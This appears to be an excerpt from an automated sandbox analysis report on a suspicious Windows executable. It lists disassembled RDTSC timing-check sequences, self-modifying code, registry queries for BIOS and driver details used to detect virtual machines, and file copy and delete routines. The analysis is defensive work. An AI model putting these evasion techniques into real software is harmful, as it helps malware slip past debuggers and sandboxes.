Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028493 second address: 10284BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F230C515276h 0x0000000a jp 00007F230C515276h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F230C515282h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10284BC second address: 10284D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 js 00007F230C5197A8h 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 jng 00007F230C5197A6h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103002B second address: 1030030 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1030030 second address: 103004E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F230C5197A6h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F230C5197ADh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103004E second address: 1030052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E18D second address: 102E193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E193 second address: 102E19E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E19E second address: 102E1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E1A2 second address: 102E1A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E1A8 second address: 102E1AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E1AD second address: 102E1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 je 00007F230C51527Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102E8C8 second address: 102E8F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F230C5197ADh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EA39 second address: 102EA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C51527Dh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c je 00007F230C515288h 0x00000012 pop edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EA6A second address: 102EA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EA74 second address: 102EA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102ED1E second address: 102ED40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F230C5197B4h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102EEA2 second address: 102EEA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102FE32 second address: 102FE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10389DF second address: 1038A33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F230C515289h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F230C51527Ah 0x00000011 popad 0x00000012 jp 00007F230C51528Dh 0x00000018 jmp 00007F230C515281h 0x0000001d js 00007F230C515276h 0x00000023 pop edx 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 ja 00007F230C515278h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038A33 second address: 1038A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1038A4A second address: 1038A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1044B83 second address: 1044B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047A84 second address: 1047A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jnl 00007F230C515276h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047A93 second address: 1047A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047C05 second address: 1047C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jmp 00007F230C515284h 0x0000000e jl 00007F230C515276h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055DA8 second address: 1055DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055DAC second address: 1055DC1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F230C515276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F230C51527Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055DC1 second address: 1055DC6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E9E8 second address: 105E9EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E9EC second address: 105E9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E9F4 second address: 105EA0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F230C515283h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D2B9 second address: 105D2BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D2BF second address: 105D2CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D2CB second address: 105D2CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D557 second address: 105D581 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F230C515284h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F230C515280h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D6FA second address: 105D713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197B3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D713 second address: 105D730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F230C515284h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D730 second address: 105D734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105DC98 second address: 105DC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105DC9C second address: 105DCA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10640E3 second address: 106411C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F230C515276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F230C515288h 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F230C51527Eh 0x00000017 jc 00007F230C515276h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106411C second address: 1064120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10769BB second address: 10769BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10769BF second address: 10769DC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F230C5197A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F230C5197ABh 0x00000011 jl 00007F230C5197A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10769DC second address: 10769EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10769EA second address: 10769EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10769EE second address: 1076A17 instructions: 0x00000000 rdtsc 0x00000002 je 00007F230C515276h 0x00000008 jp 00007F230C515276h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push ebx 0x00000012 jmp 00007F230C515282h 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076879 second address: 1076889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F230C5197ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076889 second address: 107688F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107688F second address: 107689D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F230C5197AEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10831DC second address: 10831E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10831E0 second address: 108320B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C5197B5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jg 00007F230C5197A6h 0x00000012 pop ecx 0x00000013 je 00007F230C5197ACh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082D97 second address: 1082DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F230C515283h 0x00000009 jmp 00007F230C515282h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082F11 second address: 1082F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1082F16 second address: 1082F2E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F230C51528Ah 0x00000008 jmp 00007F230C51527Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108621F second address: 1086224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094008 second address: 1094010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094010 second address: 109404D instructions: 0x00000000 rdtsc 0x00000002 js 00007F230C5197A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F230C5197E2h 0x00000012 push ecx 0x00000013 jmp 00007F230C5197B6h 0x00000018 jmp 00007F230C5197ABh 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 jg 00007F230C5197A6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094314 second address: 109431F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109431F second address: 1094324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094324 second address: 109432C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109432C second address: 1094332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10948CF second address: 10948D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10948D3 second address: 1094923 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F230C5197B6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F230C5197B6h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F230C5197B6h 0x00000017 js 00007F230C5197A6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10965A5 second address: 10965D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F230C515283h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A80A second address: 109A82C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F230C5197B7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A82C second address: 109A832 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A832 second address: 109A85B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A85B second address: 109A860 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A860 second address: 109A89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F230C5197B5h 0x00000014 popad 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F230C5197AAh 0x00000022 push edx 0x00000023 pop edx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109AB67 second address: 109AB6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109AB6B second address: 109AB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F230C5197B0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109AB83 second address: 109AB87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F025A second address: 51F0260 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0260 second address: 51F0293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C515285h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F230C515283h 0x00000012 mov edi, eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0293 second address: 51F02B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C5197B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F02B4 second address: 51F02C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F230C51527Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F02C7 second address: 51F02DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, FA5Ah 0x00000007 mov eax, ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F02DA second address: 51F02DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F02DE second address: 51F02E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F035D second address: 51F03CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F230C515282h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e mov si, 3983h 0x00000012 mov di, si 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F230C515280h 0x00000020 and si, 6548h 0x00000025 jmp 00007F230C51527Bh 0x0000002a popfd 0x0000002b mov edx, eax 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 jmp 00007F230C515282h 0x00000035 pop ebp 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 call 00007F230C51527Ch 0x0000003e pop esi 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC660E second address: FC6612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E21B6A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E21C2F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FBA0EA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FB8882 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00BD38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BD4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BCDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00BCE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00BCED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00BD4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BCF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BD3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00BD3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BC16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BCDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BCBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BCBE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BC1160 GetSystemInfo,ExitProcess,

0_2_00BC1160

